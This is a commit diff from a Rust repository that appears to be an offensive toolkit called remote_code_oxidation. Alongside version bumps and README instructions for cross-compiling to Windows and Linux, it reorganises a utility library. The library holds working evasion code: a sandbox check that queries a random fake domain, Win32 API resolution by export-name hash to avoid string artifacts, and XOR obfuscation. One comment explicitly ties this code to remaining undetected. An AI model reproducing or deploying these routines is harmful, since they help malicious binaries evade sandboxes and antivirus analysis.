* gitignore update for mac

* cargo things

* documentation update, finally have multiple os builds figured out

* avoid feature injection on dependencies as it has caused problems in the past

* bump version now

* this shouldnt have changed anything, just reorded so its not a random mess ordered by 'well i made it now'

* missed a required import for the move away from feature injection

* wasnt as lazy this time, actually build for two main oses
This commit is contained in:
kmanc
2022-09-20 20:58:52 -07:00
committed by GitHub
parent 43faa94d63
commit 7c13182323
7 changed files with 305 additions and 189 deletions
+2 -1
View File
@@ -4,4 +4,5 @@ target/
# Files
*.txt
*.txt
.DS_Store
Generated
+2 -2
View File
@@ -41,9 +41,9 @@ dependencies = [
[[package]]
name = "libc"
version = "0.2.132"
version = "0.2.133"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8371e4e5341c3a96db127eb2465ac681ced4c433e01dd0e938adbef26ba93ba5"
checksum = "c0f80d65747a3e43d1596c7c5492d95d5edddaabd45a7fcdb02b95f644164966"
[[package]]
name = "memoffset"
+114 -14
View File
@@ -25,11 +25,11 @@ RCO tools can be compiled on either Linux or Windows systems to provide its user
## Helper tools
- [hash_params](https://kmanc.github.io/remote_code_oxidation/hash_params.html)
1. [hash_params](https://kmanc.github.io/remote_code_oxidation/hash_params.html)
- [xor_params](https://kmanc.github.io/remote_code_oxidation/xor_params.html)
2. [xor_params](https://kmanc.github.io/remote_code_oxidation/xor_params.html)
## Setup
## Building the executables
Clone the repo
```commandline
@@ -37,7 +37,11 @@ git clone https://github.com/kmanc/remote_code_oxidation.git
```
### From Linux host for Linux target
### From Linux
---
##### For Linux
---
Install Rust
```commandline
@@ -51,31 +55,127 @@ sudo apt install build-essential
Build!
```commandline
cargo build [-p package_name] [--features [xor][antisand]] [--release]
cargo build [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release]
```
### From Linux host for Windows target
##### For Windows
---
Install Rust
```commandline
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
```
Add dependencies for cross-compiling
Add dependencies for cross-compiling (1)
```commandline
rustup target add x86_64-pc-windows-gnu
```
Add dependencies for cross-compiling (2)
```commandline
sudo apt install mingw-w64
rustup target add x86_64-pc-windows-gnu
```
Build!
```commandline
cargo build --target x86_64-pc-windows-gnu [-p package_name] [--features [xor][antisand]] [--release]
cargo build --target x86_64-pc-windows-gnu [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release]
```
### From Windows host for Linux target
#### Todo
### From Mac
---
### From Windows host for Windows target
#### Todo
##### For Linux
---
Install Rust
```
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
```
Add dependencies for cross-compiling (1)
```commandline
rustup target add x86_64-unknown-linux-musl
```
Add dependencies for cross-compiling (2)
```commandline
brew install filosottile/musl-cross/musl-cross
```
Configure linker for cross-compiling
```commandline
Create a file in your home directory's .cargo directory called config.toml with the following contents
[target.x86_64-unknown-linux-musl]
linker = "x86_64-linux-musl-gcc"
```
Build!
```commandline
cargo build --target x86_64-unknown-linux-musl [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release]
```
##### For Windows
---
Install Rust
```
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
```
Add dependencies for cross-compiling (1)
```commandline
rustup target add x86_64-pc-windows-gnu
```
Add dependencies for cross-compiling (2)
```commandline
brew install mingw-w64
```
Build!
```commandline
cargo build --target x86_64-pc-windows-gnu [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release]
```
### From Windows
---
##### For Linux
---
Install Rust
```
Download and run the installer from the Rust website
```
Add dependencies for cross-compiling
```commandline
rustup target add x86_64-pc-windows-gnu
```
Configure linker for cross-compiling
```commandline
Create a file in your home directory's .cargo directory called config.toml with the following contents
[target.x86_64-unknown-linux-musl]
linker = "rust-lld"
```
Build!
```commandline
cargo build --target x86_64-unknown-linux-musl [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release]
```
##### For Windows
---
Install Rust
```
Download and run the installer from the Rust website
```
Build!
```commandline
cargo build [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release]
```
+2 -2
View File
@@ -3,10 +3,10 @@ authors = ["Kevin Conley <koins@duck.com>"]
edition = "2021"
name = "hash_params"
rust-version = "1.59"
version = "1.0.0"
version = "1.0.1"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
rco_config = {path = "../rco_config"}
rco_utils = {path = "../rco_utils", features = ["antistring"] }
rco_utils = {path = "../rco_utils"}
+12 -1
View File
@@ -1,9 +1,20 @@
use std::collections::hash_map::DefaultHasher;
use std::env;
use std::hash::{Hash, Hasher};
// Yeah all of this stuff is already in the lib, but it's gated by a feature and I haven't figured out
// How best to handle that yet
fn calculate_hash<T: Hash>(t: &T) -> u64 {
let mut s = DefaultHasher::new();
t.hash(&mut s);
s.finish()
}
fn main() {
let args: Vec<String> = env::args().collect();
for arg in args[1..].iter() {
let hashed = rco_utils::calculate_hash(arg);
let hashed = calculate_hash(arg);
println!("{arg} --> {hashed:x}");
}
}
+1 -1
View File
@@ -6,7 +6,7 @@ license = "MIT"
name = "rco_utils"
repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/rco_utils"
rust-version = "1.59"
version = "1.0.1"
version = "1.0.2"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+172 -168
View File
@@ -1,28 +1,22 @@
#[cfg(feature = "antistring")]
use std::collections::hash_map::DefaultHasher;
use std::error::Error;
#[cfg(feature = "antistring")]
use std::hash::{Hash, Hasher};
#[cfg(all(windows, feature = "antisand", feature = "antistring"))]
use core::ffi::c_void;
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
use std::ffi::CString;
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
use windows::core::PCSTR;
// Things Antisand needs
#[cfg(all(windows, feature = "antisand"))]
use rand::distributions::Alphanumeric;
#[cfg(all(windows, feature = "antisand"))]
use rand::Rng;
// Things Antistring needs
#[cfg(feature = "antistring")]
use std::collections::hash_map::DefaultHasher;
#[cfg(all(windows, feature = "antistring"))]
use std::ffi::CStr;
#[cfg(feature = "antistring")]
use std::hash::{Hash, Hasher};
#[cfg(all(windows, feature = "antistring"))]
use std::mem;
#[cfg(all(windows, feature = "antistring"))]
use std::ptr;
#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))]
use windows::Win32::Networking::WinInet::{InternetOpenA, InternetOpenUrlA};
#[cfg(all(windows, feature = "antistring"))]
use windows::Win32::System::Diagnostics::Debug::{
IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_NT_HEADERS64,
@@ -32,6 +26,29 @@ use windows::Win32::System::LibraryLoader::LoadLibraryA;
#[cfg(all(windows, feature = "antistring"))]
use windows::Win32::System::SystemServices::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY};
// Things Antisand and Antistring need
#[cfg(all(windows, feature = "antisand", feature = "antistring"))]
use core::ffi::c_void;
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
use std::ffi::CString;
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
use windows::core::PCSTR;
// Things Antisand needs only when Antistring is not set
#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))]
use windows::Win32::Networking::WinInet::{InternetOpenA, InternetOpenUrlA};
/*
Calculate the hash of a hashable value
*/
#[cfg(feature = "antistring")]
pub fn calculate_hash<T: Hash>(t: &T) -> u64 {
let mut s = DefaultHasher::new();
t.hash(&mut s);
s.finish()
}
/*
Helper function for XOR - makes two slices the same length by repeating the shorter till it's the length of the longer
*/
@@ -48,159 +65,6 @@ fn equalize_slice_len<T: std::clone::Clone>(slice_one: &[T], slice_two: &[T]) ->
)
}
/*
Helper function for XOR - XORs two slices of equal length
*/
#[cfg(feature = "xor")]
fn xor_u8_slices(slice_one: &[u8], slice_two: &[u8]) -> Result<Vec<u8>, Box<dyn Error>> {
if slice_one.len() != slice_two.len() {
return Err("The given slices are not the same length".into());
}
Ok(slice_one
.iter()
.zip(slice_two.iter())
.map(|(&x1, &x2)| x1 ^ x2)
.collect())
}
/*
XOR implementation - takes in a key and a value and outputs the key ^ value byte-bye-byte
*/
#[cfg(feature = "xor")]
pub fn xor_encrypt_decrypt(key: &[u8], text: &[u8]) -> Result<Vec<u8>, Box<dyn Error>> {
let equalilzed = equalize_slice_len(key, text);
let key: &[u8] = &equalilzed.0[..];
let text: &[u8] = &equalilzed.1[..];
xor_u8_slices(key, text)
}
/*
XOR not-asked-for "implementation" - this is a dummy that will never do anything except make the compiler happy
*/
#[cfg(not(feature = "xor"))]
pub fn xor_encrypt_decrypt(_key: &[u8], text: &[u8]) -> Result<Vec<u8>, Box<dyn Error>> {
Ok(text.to_vec())
}
/*
Antisand Windows implementation - basically looks to see if something fakes a response to a website
*/
#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))]
pub fn pound_sand() -> bool {
// Call InternetOpenA to get a handle that can be used in an actual internet request
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopena
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenA.html
let mut lpsz_agent = PCSTR::null();
lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8;
let lpsz_proxy = PCSTR::null();
let lpsz_proxy_bypass = PCSTR::null();
let internet_handle = unsafe { InternetOpenA(lpsz_agent, 0, lpsz_proxy, lpsz_proxy_bypass, 0) };
// Generate a "website" to search for
let length = rand::thread_rng().gen_range(20..40);
let alphanum: String = rand::thread_rng()
.sample_iter(&Alphanumeric)
.take(length)
.map(char::from)
.collect();
let mut full_link: String = "https://www.".to_owned();
let link_end: String = ".com".to_owned();
full_link.push_str(&alphanum);
full_link.push_str(&link_end);
// Call InternetOpenUrlA on the fake website; if there is a response, it's a sandbox trying to get you to take further action
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenurla
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenUrlA.html
let mut lpsz_url = PCSTR::null();
lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8;
let website = unsafe { InternetOpenUrlA(internet_handle, lpsz_url, None, 0, 0) };
if website != 0 as _ {
return true;
}
false
}
/*
Antisand Windows implementation without string artifacts - basically looks to see if something fakes a response to a website
*/
#[cfg(all(windows, feature = "antisand", feature = "antistring"))]
pub fn pound_sand() -> bool {
// See line 90
let function = find_function_address("Wininet", 0x4b98c7b42f5ce34f).unwrap();
let mut lpsz_agent = PCSTR::null();
lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8;
let lpsz_proxy = PCSTR::null();
let lpsz_proxy_bypass = PCSTR::null();
let internet_handle = unsafe {
mem::transmute::<*const (), fn(PCSTR, i32, PCSTR, PCSTR, i32) -> *mut c_void>(function)(
lpsz_agent,
0,
lpsz_proxy,
lpsz_proxy_bypass,
0,
)
};
let length = rand::thread_rng().gen_range(20..40);
let alphanum: String = rand::thread_rng()
.sample_iter(&Alphanumeric)
.take(length)
.map(char::from)
.collect();
let mut full_link: String = "https://www.".to_owned();
let link_end: String = ".com".to_owned();
full_link.push_str(&alphanum);
full_link.push_str(&link_end);
// See line 111
let function = find_function_address("Wininet", 0x275e2d4fe536ed19).unwrap();
let mut lpsz_url = PCSTR::null();
lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8;
let website = unsafe {
mem::transmute::<*const (), fn(*mut c_void, PCSTR, &[u8], u32, usize) -> *mut c_void>(
function,
)(internet_handle, lpsz_url, &[], 0, 0)
};
if website != 0 as _ {
return true;
}
false
}
/*
Antisand Linux implementation - since I currently don't need to do this to remain undetected it's a dummy (does nothing)
*/
#[cfg(all(target_os = "linux", feature = "antisand"))]
pub fn pound_sand() -> bool {
false
}
/*
Antisand not-asked-for "implementation" - this is a dummy that will never do anything except make the compiler happy
*/
#[cfg(not(feature = "antisand"))]
pub fn pound_sand() -> bool {
false
}
/*
Calculate the has of a hashable value
*/
#[cfg(feature = "antistring")]
pub fn calculate_hash<T: Hash>(t: &T) -> u64 {
let mut s = DefaultHasher::new();
t.hash(&mut s);
s.finish()
}
/*
Find Win32 function implementation - finds the memory location of a Win32 function in its DLL so it can be called directly
*/
@@ -286,6 +150,146 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box
Err(format!("Could not find the function '{name_hash:x}' in '{dll}'").into())
}
/*
Antisand Windows implementation - basically looks to see if something fakes a response to a website
*/
#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))]
pub fn pound_sand() -> bool {
// Call InternetOpenA to get a handle that can be used in an actual internet request
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopena
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenA.html
let mut lpsz_agent = PCSTR::null();
lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8;
let lpsz_proxy = PCSTR::null();
let lpsz_proxy_bypass = PCSTR::null();
let internet_handle = unsafe { InternetOpenA(lpsz_agent, 0, lpsz_proxy, lpsz_proxy_bypass, 0) };
// Generate a "website" to search for
let length = rand::thread_rng().gen_range(20..40);
let alphanum: String = rand::thread_rng()
.sample_iter(&Alphanumeric)
.take(length)
.map(char::from)
.collect();
let mut full_link: String = "https://www.".to_owned();
let link_end: String = ".com".to_owned();
full_link.push_str(&alphanum);
full_link.push_str(&link_end);
// Call InternetOpenUrlA on the fake website; if there is a response, it's a sandbox trying to get you to take further action
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenurla
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenUrlA.html
let mut lpsz_url = PCSTR::null();
lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8;
let website = unsafe { InternetOpenUrlA(internet_handle, lpsz_url, None, 0, 0) };
if website != 0 as _ {
return true;
}
false
}
/*
Antisand Windows implementation without string artifacts - basically looks to see if something fakes a response to a website
*/
#[cfg(all(windows, feature = "antisand", feature = "antistring"))]
pub fn pound_sand() -> bool {
let function = find_function_address("Wininet", 0x4b98c7b42f5ce34f).unwrap();
let mut lpsz_agent = PCSTR::null();
lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8;
let lpsz_proxy = PCSTR::null();
let lpsz_proxy_bypass = PCSTR::null();
let internet_handle = unsafe {
mem::transmute::<*const (), fn(PCSTR, i32, PCSTR, PCSTR, i32) -> *mut c_void>(function)(
lpsz_agent,
0,
lpsz_proxy,
lpsz_proxy_bypass,
0,
)
};
let length = rand::thread_rng().gen_range(20..40);
let alphanum: String = rand::thread_rng()
.sample_iter(&Alphanumeric)
.take(length)
.map(char::from)
.collect();
let mut full_link: String = "https://www.".to_owned();
let link_end: String = ".com".to_owned();
full_link.push_str(&alphanum);
full_link.push_str(&link_end);
let function = find_function_address("Wininet", 0x275e2d4fe536ed19).unwrap();
let mut lpsz_url = PCSTR::null();
lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8;
let website = unsafe {
mem::transmute::<*const (), fn(*mut c_void, PCSTR, &[u8], u32, usize) -> *mut c_void>(
function,
)(internet_handle, lpsz_url, &[], 0, 0)
};
if website != 0 as _ {
return true;
}
false
}
/*
Antisand Linux implementation - since I currently don't need to do this to remain undetected it's a dummy (does nothing)
*/
#[cfg(all(target_os = "linux", feature = "antisand"))]
pub fn pound_sand() -> bool {
false
}
/*
Antisand not-asked-for "implementation" - this is a dummy that will never do anything except make the compiler happy
*/
#[cfg(not(feature = "antisand"))]
pub fn pound_sand() -> bool {
false
}
/*
XOR implementation - takes in a key and a value and outputs the key ^ value byte-bye-byte
*/
#[cfg(feature = "xor")]
pub fn xor_encrypt_decrypt(key: &[u8], text: &[u8]) -> Result<Vec<u8>, Box<dyn Error>> {
let equalilzed = equalize_slice_len(key, text);
let key: &[u8] = &equalilzed.0[..];
let text: &[u8] = &equalilzed.1[..];
xor_u8_slices(key, text)
}
/*
XOR not-asked-for "implementation" - this is a dummy that will never do anything except make the compiler happy
*/
#[cfg(not(feature = "xor"))]
pub fn xor_encrypt_decrypt(_key: &[u8], text: &[u8]) -> Result<Vec<u8>, Box<dyn Error>> {
Ok(text.to_vec())
}
/*
Helper function for XOR - XORs two slices of equal length
*/
#[cfg(feature = "xor")]
fn xor_u8_slices(slice_one: &[u8], slice_two: &[u8]) -> Result<Vec<u8>, Box<dyn Error>> {
if slice_one.len() != slice_two.len() {
return Err("The given slices are not the same length".into());
}
Ok(slice_one
.iter()
.zip(slice_two.iter())
.map(|(&x1, &x2)| x1 ^ x2)
.collect())
}
#[macro_export]
macro_rules! construct_win32_function {
// Take in:
@@ -299,8 +303,8 @@ macro_rules! construct_win32_function {
) => {
// Interpret the memory at the provided function pointer "x" as a function with args "y" and return "z"
// Based on https://rust-lang.github.io/unsafe-code-guidelines/layout/function-pointers.html
// this is a safe transmute because it will be guaranteed on Windows
// So the macro is safe despite the unsafe code
// this is a safe transmute because it will be guaranteed on Windows, so the macro is safe
// despite the unsafe code
unsafe {
std::mem::transmute::<*const (), unsafe fn( $($( $y ),*),* ) -> $($( $z ),*),*>($( $x ),*)
}